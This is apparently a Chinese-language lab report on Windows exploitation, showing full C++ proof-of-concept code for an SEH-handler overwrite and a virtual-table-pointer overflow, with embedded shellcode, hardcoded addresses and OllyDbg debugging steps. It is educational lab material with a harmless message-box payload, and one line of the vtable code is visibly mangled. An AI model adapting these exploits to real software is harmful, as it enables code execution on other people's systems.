目标
了解 SEH 和虚函数攻击两种攻击方式,通过调试代码来理解进行上述攻击的过程。
测试步骤与结果
SEH 攻击
main.cpp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #include<windows.h> #include<string> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53" "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x48\xFE\x12\x00"; void MyExceptionHandler(void) { printf("got an exception,press Enter to kill process!\n"); getchar(); ExitProcess(1); } void test(char* input) { char buf[200]; int zero=0; __asm int 3 __try { strcpy(buf,input); zero=4/zero; } __except(MyExceptionHandler()){} } int main() { LoadLibrary("user32.dll"); test(shellcode); system("pause"); return 0; }
|
在此实验中,我们定义了一个自定义的错误处理函数 MyExceptionHandler()
,可以观察到,__try
中试图除零,因此引发了一个异常,这个异常将由我们自定义的错误处理函数处理。如果 strcpy
操作溢出了,并精确地将栈帧中的 SEH 异常处理句柄修改为 shellcode
的入口地址时,操作系统将会错误地使用 shellcode 去处理除 0 异常,代码植入成功。
前面的__asm int 3
是为了使得调试器能够以 attach 的方式进行调试。
- 在 ollydbg 端完成实时调试配置,将它设置为实时调试器。
![]()
- 启动程序,在运行到 int 3 断点时成功进入 ollydbg 中。
初次进入时可能会有这个错误,设置一下 udd 和 plugins 的目录即可。
![]()
- 找到
strcpy
函数,并为其设置一个断点。
![]()
- 此时可以观察到 shellcode 的起始地址为
0x12fe48
。 ![]()
- 触发异常时,我们查看 SEH 链:(查看→SEH 链)
- 上方的第一个地址指向了下一个 SEH 记录:
0x12ffb0
。接着是 SEH 异常处理程序,我们只要把 0x12ff1c
的内容改成 shellcode 的起始地址就可以了。
- 第一个 SEH 地址是
0x12ff18
,异常处理地址是 0x12ff1c
,我们的 shellcode 应该填充这些差值空间,总共有 212 个字节(0x12ff1c-0x12ff18)回头看一眼我们要填入的 shellcode,最后四字节 (\x48\xFE\x12\x00
) 恰好是 shellcode 的起始地址!
- 去掉系统中断(
asm int 3
)后的运行效果如下,弹出对话框正是 shellcode 预期的功能。 ![]()
虚函数攻击
main.cpp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| # include <windows.h> # include <iostream.h> char shellcode1[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53" "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x5C\xE3\x42\x00";
class vf { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } } ; vf overflow, *p; void main(void) { LoadLibrary("user32.dll"); char * p_vtable; p_vtable=overflow.buf-4; fake virtual table to 0x004088cc =0xE4; p_vtable[2]=0x42; p_vtable[3]=0x00; strcpy(overflow.buf,shellcode1); p=&overflow; p->test(); }
|
-
在 strcpy
处可能会触发溢出,修改虚函数指针。Vtable
的值需要经过一次调试才可得知。
从这两张图可以看出,缓冲区的入口为 0x0042e35c
。虚表指针位于缓冲区前,p_vtable
定位到了这个指针,它指向了 0x0042e358
处,进一步证明缓冲区入口正确。
-
Shellcode 的末尾后四个字节地址应该是 0x0042E430
。 ![]()
-
更换 shellcode 和地址后,成功弹框,shellcode 成功执行。 ![]()
测试结论
思考题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| # include <windows.h> # include <iostream.h> # include <stdio.h> class vf { public: char buf[200]; virtual void test(void) { cout<<"Class Vtable::test()"<<endl; } } ; class vf1 { public: char buf[64]; virtual void test(void) { cout<<"Class Vtable1::test()"<<endl; } } ; vf overflow, *p; vf1 overflow1, *p1; void main(int argc, char* argv[]) { LoadLibrary("user32.dll"); if (argc == 3) { strcpy(overflow.buf,argv[1]); strcpy(overflow1.buf,argv[2]); p=&overflow; p->test(); } else { printf("vf argv1 argv2\n"); } }
|
-
这应该是利用虚函数攻击的一个例子。其中定义了两个类:vf
和 vf1
,vf
具有 200 字节的 buf
大小,而 vf1
具有 64 字节的 buf
大小。我们需要提供两个参数,一个复制到 vf
的 buf
区,另一个复制到 vf1
的 buf
区中,要通过 vf
类的 test
方法调用 shellcode。 ![]()
-
argv[1]
被复制到 overflow.buf
中,起始地址为 0x42eb5c
。算出其终止地址应为 0x42ec20
。
-
第二个 strcpy
时,将第二个参数拷贝到 overflow1.buf
中,其首地址为 0x42eb14
,在 overflow
上方,我们想到应该可以利用这个关系,溢出这个 64 字节的 buf
,覆盖掉 vtable
,让其调用 shellcode
-
构造 shellcode 如下,其中插入 vf
中的 shellcode1 写入弹框代码,插入 vf1
中的 shellcode2 向下覆盖掉 vf1
的 vtable
,变为 shellcode1 的尾地址,而令 shellcode1 中最后四字节为 shellcode 第一个指令的地址(即 overflow.buf
的起始位置)。在这个构造下,可以成功执行 shellcode,以弹出对话框。
-
利用成功截图。 ![]()